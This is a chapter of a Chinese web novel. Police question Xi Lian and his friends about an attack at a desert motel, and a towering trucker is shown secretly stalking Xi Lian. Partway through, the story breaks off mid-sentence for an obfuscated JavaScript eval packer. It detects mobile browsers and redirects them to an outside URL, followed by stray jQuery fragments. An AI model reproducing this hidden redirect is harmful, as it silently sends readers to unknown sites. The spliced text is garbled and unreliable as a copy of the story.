一大早,旅馆外便传来了嘈杂的声响。
郗涟昏昏沉沉地醒来,扫了一眼身旁两位还在熟睡的同伴,轻声地坐起身。
他刚拉开窗帘就看到窗台上摆放着一朵玫瑰花。
花瓣鲜红欲滴,像是刚从枝头摘下被人特意搁在了这里。
郗涟疑惑地拿起玫瑰,这是谁放在这的?
郗涟只是看了一眼,随后起身从背包里翻出换洗衣物到卫生间收拾了一下自己。
冰凉的水拍在脸上,稍稍驱散了他的睡意。
外面的动静越来越大,郗涟收拾完自己后一脸疑惑地走出去。
就见到一旁的17号房门正敞开着,里面进进出出了不少警务人员。
从18号房走出来的郗涟,几乎立刻吸引了所有人的目光。
这家旅馆本就客人稀少,而郗涟不仅是一名亚裔,更生着一张精致得近乎失真的东方面孔。
皮肤苍白,眉眼如细墨勾画,整个人安静地站在晨光中,像一尊忽然被放置在废墟中的白瓷人偶。
一名警员打量着他,实在难以将这样精灵似的少年与凶案联系在一起。
不过他还是按程序走上前,语气平和地问道:“男孩,你从哪里来的?”
郗涟似乎还没完全清醒,眼神略带迷茫地看着警员,心里有些诧异为什么会有警察出现,但是还是下意识回答了对方的问题。
“内华达。”
“好吧,”警员点了点头,继续问道,“你来这里是做什么的?”
“周末旅行,和几个同学一起,打算去拉斯维加斯。”
“拉斯维加斯?倒是个热闹地方。”警员笑了笑,随即表情认真了些,“那你昨晚有没有听到17号房这边传来什么不寻常的动静?”
“17号?”郗涟努力回想但根本没什么印象,“昨天因为暴雨,我们临时决定在这里住下。很抱歉,我并没注意到17号房有什么异常。”
“好吧,那你的同伴,”警员朝18号房示意了一下,“现在方便请他们出来一下吗?”
“好的,我这就去叫他们。”
郗涟依照警员的要求,马上回到客房叫醒了还在睡梦中的波比和本。
接着,他又走向20号房想看看梅尔和凯拉是否醒了。
郗涟一转身发现那名警员正站在走廊的不远处看着自己。
他礼貌性地朝对方笑了笑,指着20号房门解释道:“我还有两位同伴住这间。”
见警员并未阻拦,郗涟有些紧张地敲了敲20号的房门,低声问道:“梅尔?凯拉?你们醒了吗?”
过了一会,门内传来细微而略显凌乱的窸窣声,紧接着是凯拉有些急促的回应:“呃,马上就来!”
那名警员的目光全程都没离开过那个亚裔青年。
对方的容貌实在过于醒目,甚至比许多精心打扮过的金发女郎还要精致。
皮肤白皙得像从未见过阳光的初雪,五官清晰得宛如用最细的笔触一笔笔雕琢而成。
一个不合时宜的念头在警员脑子里飘了过去:如果现在过去搭个讪、要个联系方不知道他会不会给?
就在此时,18号房的门被推开。
本探出身环顾了一眼四周,正好对上那位正在出神的警员。他愣了一下,脱口问道:“呃,警官先生,发生什么事了?”
本第一反应是他们“借”车的事被发现了,警察找上门来了。
这突如其来的问话打断了警员的思绪。
警员回过神来,打量着眼前这个穿骷髅外套、剃着寸头的年轻人,职业本能让他迅速进入状态,“你昨晚有没有听到17号房传来什么异常声响?”
本一听到“17号房”心里顿时咯噔一下,但仍强作镇定地反问:“什么意思?那房间怎么了?”
他身后的波比听到动静也凑了过来,一脸茫然,完全没搞懂为什么一觉醒来门口会站着警察。
与此同时,梅尔和凯拉也从20号房走了出来。
她们见到这阵仗有些慌,小声拉着郗涟问:“怎么了?怎么会有警察在这?”
梅尔心里则是非常担心他们擅自闯入别人家里“借车”会被抓。
毕竟擅闯私宅是极其严重的行为,这直接触犯了当地的“住宅防卫法”,更何况他们还开走了一辆价值不菲的车!
她绝不想这件事被波比的家人知道,毕竟他们好不容易才得到认同在一起!
郗涟见梅尔脸色不好,立刻解释道:“不是那个,他是问旅馆其他客人的事情。”
“这样啊。”
梅尔放下心来跟着凯拉和郗涟走了过去,就听到了警察不断在询问昨晚的事情。
见到一行人都到齐了,警察说道:“17号客人昨晚被害了,根据夜班经理描述,你们昨天半夜还打电话给他询问17号房的事情。”
“据他所说,在此之前你们和对方还发生过争执。”
“等等?他真是这么说的?”本有些不满,夜班经理为什么要说这些!
反倒是一旁的波比一副欲言又止的表情,很显然他知道些什么。
警察也不是吃白饭的,看这些人的反应他觉得18号房的人肯定知道些什么。
“你们确定昨天晚上没有听到隔壁的动静吗?”
波比被警察的质问逼得有些窘迫,难为情地瞥了本一眼,低声承认道:“额…昨晚,昨晚确实听到17号房有些嘈杂的动静......”
听到这里,郗涟隐隐约约想到昨天他被吵醒时,本和波比确实正压低声音打着电话。
警察扫了眼面前的五人,继续追问:“比如?什么样的动静?”
本有些沉默,因为他总不能说是因为自己钓鱼又想报复17号房的大块头,才搞出这么一件事吧?
“....就是咚咚咚的声音...”
“咚咚咚?”警察见唯二了解事情缘来的两个青年一直不肯多说什么,只好转移到17号被害人身上。
“他昨天差点死了,不过现在和死了也没有什么两样。”
“谁?”凯拉有些疑惑,她昨天和梅尔一回房就睡了,毕竟要睡个美容觉。
“17号客人,本杰明。”
“算了,我觉得或许你们去看看他的情况,应该是能回忆起什么。”
警员要求带走本和波比到附近的急救站‘了解’一下情况。
因这个突如其来的插曲,周末出游的计划彻底被打乱。
郗涟三人只好留在旅馆,等待本和波比回来。
波比离开前用力抱了抱梅尔,在她耳边低声安抚:“放心,我什么也没做,就是陪本过去看看情况。”
梅尔在他脸颊上轻轻印下一个吻:“早点回来。”
随后,本和波比坐进警车,在众人的注视下驶离了旅馆。
“真是糟糕,他们没事一直搞这些恶作剧是干什么?”梅尔有些不满,她还以为警察发现了他们偷车。
郗涟心里也不好受,因为昨天他也参与了欺骗对方过来,心里总是有一种隐隐地不安。
这个时候他又隐隐约约感觉到了那种强烈的注视感。
郗涟环顾四周,总觉得有人好好像在看着自己,但是也没有。
“烦死了,估计今天又要在这里花费一些时间,我们到底什么时候才能去拉斯维加斯。”凯拉要气死了,这些时间全花在路上了。
“我有点饿了,准备去便利店买点吃的。你们要一起吗?”郗涟觉得一大早碰上这种事够糟心的,不如先解决一下早餐问题。
“我也去。”
“那我也去。”
三人便朝着旅馆的便利店走去。
这家孤零零的旅馆坐落在公路交界处,设施倒很齐全,不仅有客房还附带商店和加油站。
此时不少人正收拾行李准
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033429|194585||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
备离开,也有些过路车辆在此加油。
他们三人走进商店,出众的样貌立刻引来了不少目光。
郗涟突然发现这商店外种植了不少鲜花,其中就有早上见到的那朵玫瑰花。
他觉得有些奇怪,但是想想说不定是别人离开的时候随手放的也就没有过多在意了。
身后的凯拉格外不满,压低声音抱怨:“如果真和我们没关系,那本和波比干嘛非要跑去急救站看什么受害人!”
她越想越气,忍不住踢了下货架,“真是受够了,为什么要一直耗在这种鬼地方!这里除了这些该死的速食面包,什么吃的都没有!”
“冷静点吧凯拉,他们应该很快就回来了,我们先随便吃点吧。”梅尔倒是没那么在意,对她来说只要和波比在一起,去哪儿都挺开心。
郗涟走到一旁的货架上取下一份三明治,随口说道:“说起来,昨晚半夜我被电话铃声吵醒,好像又是本在搞什么恶作剧。不过后来我戴着耳机睡着了,再之后发生什么我就不清楚了。”边说边朝着冷藏柜的位置走去。
“又是本!”梅尔皱了皱眉,她觉得本最近确实越来越过分。
虽然她有一种不好的预感,但她还是暗暗祈祷17号房那起惨案最好跟他们毫无瓜葛。
郗涟从冷藏柜里取出一瓶矿泉水,刚转身就毫无预兆地撞进一片阴影里。
他的脸颊擦过对方的夹克,一股浓重的烟草味立刻钻入鼻腔。
郗涟以为自己差点撞到人,下意识低声道:“不好意思……”
话音未落,一股强烈的压迫感已扑面而来。
见对方没有说话只是站着他面前,郗涟下意识地抬头看了眼对方,又迅速低下头。
这人怎么这么高?!
郗涟只看到对方戴着一顶深色宽檐帽,帽檐压得极低,投下一片深沉的阴影,将大半张脸都隐没在晦暗之中。
他发现对方的目光似乎正透过墨镜盯着自己,心里一紧,有些害怕又尴尬地收回视线,立刻拿着水和三明治绕到前台排队结账。
只是没想到,那个男人也跟了过来,就排在他身后!
郗涟感觉距离近得几乎能感受到对方的体温。
这种无声的、步步紧逼的存在感,让他脊背一阵阵发凉,浑身都不自在起来。
所以结账刚一结束,郗涟立刻小跑地走出便利店。
凯拉和梅尔正站在门口,一边聊天一边等他。
“嘿!你看那人得有一米九以上了吧?”凯拉朝便利店方向扬了扬下巴。
只见那个身材高大、头戴宽檐帽的男人正拿着一包烟转身出门,利落地跨上了一辆重型卡车。
“确实很高。”郗涟收回目光,语气里带着一丝羡慕。
他自己才一米七五,毕竟大部分亚裔在身高这方面确实没什么优势。
凯拉突然笑起来,打趣道:“说真的涟,你要是个女孩我肯定嫉妒死你这张脸。可惜你是个男的,我都想象不出哪个女孩敢站在你旁边,你这‘绿叶’当得也太不称职了!”
郗涟沉默了一瞬,他从未考虑过这个问题,只好尴尬地拿起面包咬了一口,默默咀嚼着。
另一边的锈铁钉坐在驾驶位,深深吸了口烟。
他的目光穿过缭绕的烟雾,落在不远处正在交谈的三人身上。
更准确地说,是牢牢锁定中间的那位。
锈铁钉看着他微微蹙着眉,似乎在认真听着同伴说话。
每当那小甜心不安地环顾四周时,都像只察觉到危险气息、竖起耳朵东张西望,却怎么也找不到源头的小动物。
真可爱。
小甜甜……
你到底什么时候才会发现我呢?
锈铁钉一想到这个,心情就美好得不行。
至于那几个偷车贼,还有那些喜欢恶作剧的猪猡……
应该很快就要开始惊慌失措了吧。